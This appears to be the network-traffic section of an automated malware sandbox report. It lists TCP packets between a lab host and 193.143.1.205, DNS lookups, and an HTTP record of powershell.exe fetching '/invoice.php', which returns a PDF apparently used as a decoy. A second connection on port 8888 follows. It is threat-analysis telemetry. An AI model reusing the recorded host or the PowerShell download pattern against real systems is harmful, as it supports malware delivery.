Jan 10, 2025 20:59:02.950697899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950700998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950720072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950732946 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950743914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950752974 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950757027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950767994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950781107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950793028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950804949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950813055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950819969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.950830936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950830936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950830936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950860977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.950881004 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.954273939 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.979372978 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988045931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988063097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988078117 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988122940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988121986 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988137960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988152981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988166094 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988174915 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988193035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988198042 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988207102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988221884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988234043 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988236904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988270998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988672972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988713980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988722086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988729000 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988735914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988775969 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988780022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988792896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988806963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988820076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.988822937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.988847971 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.992294073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992311001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992324114 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992336988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992351055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992363930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992367029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.992378950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.992407084 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.992420912 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.998477936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998502016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998513937 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998528957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998541117 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998553038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998555899 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.998565912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:02.998605013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:02.998605967 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033070087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033106089 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033118010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033130884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033133030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033154011 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033255100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033278942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033293009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033303976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033303976 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033318043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033329010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033340931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033343077 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033365011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033366919 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033376932 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033379078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033390999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033401966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033420086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033422947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033432961 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033440113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033451080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033463955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033474922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033479929 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033487082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033493996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033499956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033514023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.033524990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.033557892 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034585953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034598112 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034612894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034641027 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034651041 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034666061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034678936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034684896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034691095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034696102 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034703016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034704924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034730911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034743071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034743071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034761906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034763098 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034781933 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034796953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034799099 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034811020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034821033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034836054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034840107 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034854889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034868956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034881115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034887075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034887075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034909964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.034945011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034955978 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.034967899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035000086 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035012960 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035021067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035024881 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035037041 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035064936 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035072088 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035079956 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035092115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035104990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035116911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035139084 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035161972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035202980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035216093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035229921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035240889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035254955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035267115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035284996 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035295963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035305977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035331011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035367966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035368919 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035394907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035408020 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035414934 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035419941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035433054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035433054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035446882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035459042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035470009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035482883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035490036 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.035497904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.035532951 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037220001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037231922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037244081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037256002 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037266016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037269115 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037276983 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037282944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037295103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037317991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037329912 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037338018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037349939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037362099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037373066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037385941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037396908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037410975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037424088 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037431955 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037448883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037461042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037472010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037483931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037487030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037487030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037502050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037513018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037514925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037528038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037554026 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037579060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037584066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037609100 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037621975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037633896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.037658930 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.037678003 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075253010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075269938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075283051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075294971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075318098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075330019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075340033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075342894 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075376034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075490952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075567961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075583935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075597048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075609922 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075611115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075623989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075638056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075639009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.075653076 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.075681925 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.079071999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079096079 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079108953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079121113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079133987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079145908 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079159975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079169989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.079216957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.079235077 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.085284948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085306883 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085321903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085335016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085347891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085359097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085370064 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.085371971 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.085402966 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122438908 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122456074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122462988 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122483969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122497082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122509003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122514963 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122522116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122550011 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122553110 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122574091 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122648954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122658968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122669935 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122683048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122689009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122695923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122710943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122740984 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122797966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122812033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122857094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.122958899 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.122973919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.123220921 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.123980999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:03.174468040 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.572134972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:03.927259922 CET	49716	80	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:04.439662933 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:04.447514057 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:04.447597027 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:04.447973967 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:04.455770969 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:05.260732889 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 20:59:05.408830881 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 20:59:05.416829109 CET	49722	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:59:12.134684086 CET	55411	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:59:12.134684086 CET	192.168.2.6	1.1.1.1	0x7670	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:59:12.141937017 CET	1.1.1.1	192.168.2.6	0x7670	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:00:20.372420073 CET	1.1.1.1	192.168.2.6	0x4259	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:00:20.372420073 CET	1.1.1.1	192.168.2.6	0x4259	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:00:20.372420073 CET	1.1.1.1	192.168.2.6	0x4259	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	193.143.1.205	80	6684	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:59:01.563375950 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:59:02.343693972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form 